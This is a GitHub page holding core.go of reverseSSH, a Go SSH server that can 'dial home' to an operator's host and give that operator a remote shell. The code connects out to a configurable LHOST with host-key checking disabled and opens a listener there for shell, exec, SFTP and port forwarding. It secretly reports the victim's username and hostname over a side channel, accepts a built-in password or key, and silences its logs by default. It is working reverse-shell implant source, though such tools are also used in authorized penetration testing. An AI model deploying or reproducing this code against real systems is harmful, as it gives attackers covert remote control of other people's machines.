-
Notifications
You must be signed in to change notification settings - Fork 136
/
core.go
369 lines (321 loc) · 9.77 KB
/
core.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
// reverseSSH - a lightweight ssh server with a reverse connection feature
// Copyright (C) 2021 Ferdinor <[email protected]>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
package main
import (
"bytes"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/user"
"path"
"strconv"
"strings"
"syscall"
"github.com/gliderlabs/ssh"
"github.com/pkg/sftp"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/term"
)
type params struct {
LUSER string
LHOST string
LPORT uint
homeBindPort uint
listen bool
shell string
noShell bool
verbose bool
}
func createLocalPortForwardingCallback(forbidden bool) ssh.LocalPortForwardingCallback {
return func(ctx ssh.Context, dhost string, dport uint32) bool {
if forbidden {
log.Printf("Denying local port forwarding request %s:%d", dhost, dport)
return false
}
log.Printf("Accepted forward to %s:%d", dhost, dport)
return true
}
}
func createReversePortForwardingCallback() ssh.ReversePortForwardingCallback {
return func(ctx ssh.Context, host string, port uint32) bool {
log.Printf("Attempt to bind at %s:%d granted", host, port)
return true
}
}
func createSessionRequestCallback(forbidden bool) ssh.SessionRequestCallback {
return func(sess ssh.Session, requestType string) bool {
if forbidden {
log.Println("Denying shell/exec/subsystem request")
return false
}
return true
}
}
func createPasswordHandler(localPassword string) ssh.PasswordHandler {
return func(ctx ssh.Context, pass string) bool {
passed := pass == localPassword
if passed {
log.Printf("Successful authentication with password from %s@%s", ctx.User(), ctx.RemoteAddr().String())
} else {
log.Printf("Invalid password from %s@%s", ctx.User(), ctx.RemoteAddr().String())
}
return passed
}
}
func createPublicKeyHandler(authorizedKey string) ssh.PublicKeyHandler {
if authorizedKey == "" {
return nil
}
return func(ctx ssh.Context, key ssh.PublicKey) bool {
master, _, _, _, err := ssh.ParseAuthorizedKey([]byte(authorizedKey))
if err != nil {
log.Println("Encountered error while parsing public key:", err)
return false
}
passed := bytes.Equal(key.Marshal(), master.Marshal())
if passed {
log.Printf("Successful authentication with ssh key from %s@%s", ctx.User(), ctx.RemoteAddr().String())
} else {
log.Printf("Invalid ssh key from %s@%s", ctx.User(), ctx.RemoteAddr().String())
}
return passed
}
}
func createSFTPHandler() ssh.SubsystemHandler {
return func(s ssh.Session) {
server, err := sftp.NewServer(s)
if err != nil {
log.Printf("Sftp server init error: %s\n", err)
return
}
log.Printf("New sftp connection from %s", s.RemoteAddr().String())
if err := server.Serve(); err == io.EOF {
server.Close()
log.Println("Sftp connection closed by client")
} else if err != nil {
log.Println("Sftp server exited with error:", err)
}
}
}
func dialHomeAndListen(username string, address string, homeBindPort uint, askForPassword bool) (net.Listener, error) {
var (
err error
client *gossh.Client
)
config := &gossh.ClientConfig{
User: username,
Auth: []gossh.AuthMethod{
gossh.Password(localPassword),
},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
// Attempt to connect with localPassword initially and keep asking for password on failure
for {
client, err = gossh.Dial("tcp", address, config)
if err == nil {
break
} else if strings.HasSuffix(err.Error(), "no supported methods remain") && askForPassword {
fmt.Println("Enter password:")
data, err := term.ReadPassword(int(syscall.Stdin))
if err != nil {
log.Println(err)
continue
}
config.Auth = []gossh.AuthMethod{
gossh.Password(string(data)),
}
} else {
return nil, err
}
}
ln, err := client.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", homeBindPort))
if err != nil {
return nil, err
}
log.Printf("Success: listening at home on %s", ln.Addr().String())
// Attempt to send extra info back home in the info message of an extra ssh channel
sendExtraInfo(client, ln.Addr().String())
return ln, nil
}
type ExtraInfo struct {
CurrentUser string
Hostname string
ListeningAddress string
}
func sendExtraInfo(client *gossh.Client, listeningAddress string) {
extraInfo := ExtraInfo{ListeningAddress: listeningAddress}
if usr, err := user.Current(); err != nil {
extraInfo.CurrentUser = "ERROR"
} else {
extraInfo.CurrentUser = usr.Username
}
if hostname, err := os.Hostname(); err != nil {
extraInfo.Hostname = "ERROR"
} else {
extraInfo.Hostname = hostname
}
newChan, newReq, err := client.OpenChannel("rs-info", gossh.Marshal(&extraInfo))
// The receiving end is expected to reject the channel, so "th4nkz" is a sign of success and we ignore it
if err != nil && !strings.Contains(err.Error(), "th4nkz") {
log.Printf("Could not create info channel: %+v", err)
}
// If the channel is actually accepted, just close it again
if err == nil {
go gossh.DiscardRequests(newReq)
newChan.Close()
}
}
func createExtraInfoHandler() ssh.ChannelHandler {
return func(srv *ssh.Server, conn *gossh.ServerConn, newChan gossh.NewChannel, ctx ssh.Context) {
var extraInfo ExtraInfo
err := gossh.Unmarshal(newChan.ExtraData(), &extraInfo)
newChan.Reject(gossh.Prohibited, "th4nkz")
if err != nil {
log.Printf("Could not parse extra info from %s", conn.RemoteAddr())
return
}
log.Printf(
"New connection from %s: %s on %s reachable via %s",
conn.RemoteAddr(),
extraInfo.CurrentUser,
extraInfo.Hostname,
extraInfo.ListeningAddress,
)
}
}
func setupParameters(noCLI string) *params {
if noCLI != "" {
return setupParametersWithoutCLI()
}
var help = fmt.Sprintf(`reverseSSH v%[2]s Copyright (C) 2021 Ferdinor <[email protected]>
Usage: %[1]s [options] [[<user>@]<target>]
Examples:
Bind:
%[1]s -l
%[1]s -v -l -p 4444
Reverse:
%[1]s 192.168.0.1
%[1]s [email protected]
%[1]s -p 31337 192.168.0.1
%[1]s -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: %[6]s)
-b, Reverse scenario only: bind to this port after dialling home (default: %[7]s)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: %[5]s)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than '%[8]s' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "%[3]s"
* PubKey "%[4]s"
`, path.Base(os.Args[0]), version, localPassword, authorizedKey, defaultShell, LPORT, BPORT, LUSER)
flag.Usage = func() {
fmt.Print(help)
os.Exit(1)
}
p := params{}
lport, err := strconv.ParseUint(LPORT, 10, 32)
if err != nil {
log.Fatal("Cannot convert LPORT: ", err)
}
homeBindPort, err := strconv.ParseUint(BPORT, 10, 32)
if err != nil {
log.Fatal("Cannot convert BPORT: ", err)
}
flag.UintVar(&p.LPORT, "p", uint(lport), "")
flag.UintVar(&p.homeBindPort, "b", uint(homeBindPort), "")
flag.BoolVar(&p.listen, "l", false, "")
flag.StringVar(&p.shell, "s", defaultShell, "")
flag.BoolVar(&p.noShell, "N", false, "")
flag.BoolVar(&p.verbose, "v", false, "")
flag.Parse()
if !p.verbose {
log.SetOutput(ioutil.Discard)
}
switch len(flag.Args()) {
case 0:
p.LUSER = LUSER
p.LHOST = LHOST
case 1:
target := strings.Split(flag.Args()[0], "@")
switch len(target) {
case 1:
p.LUSER = LUSER
p.LHOST = target[0]
case 2:
p.LUSER = target[0]
p.LHOST = target[1]
default:
log.Fatalf("Could not parse '%s'", target)
}
default:
log.Println("Invalid arguments, check usage!")
os.Exit(1)
}
return &p
}
func setupParametersWithoutCLI() *params {
lport, err := strconv.ParseUint(LPORT, 10, 32)
if err != nil {
log.Fatal("Cannot convert LPORT: ", err)
}
homeBindPort, err := strconv.ParseUint(BPORT, 10, 32)
if err != nil {
log.Fatal("Cannot convert BPORT: ", err)
}
log.SetOutput(ioutil.Discard)
return ¶ms{
LUSER: LUSER,
LHOST: LHOST,
LPORT: uint(lport),
homeBindPort: uint(homeBindPort),
listen: false,
shell: defaultShell,
noShell: false,
verbose: false,
}
}
func run(p *params, server ssh.Server) {
var (
ln net.Listener
err error
)
if p.listen || p.LHOST == "" {
log.Printf("Starting ssh server on :%d", p.LPORT)
ln, err = net.Listen("tcp", fmt.Sprintf(":%d", p.LPORT))
if err == nil {
log.Printf("Success: listening on %s", ln.Addr().String())
}
} else {
target := net.JoinHostPort(p.LHOST, fmt.Sprintf("%d", p.LPORT))
log.Printf("Dialling home via ssh to %s", target)
ln, err = dialHomeAndListen(p.LUSER, target, p.homeBindPort, p.verbose)
}
if err != nil {
log.Fatal(err)
}
defer ln.Close()
log.Fatal(server.Serve(ln))
}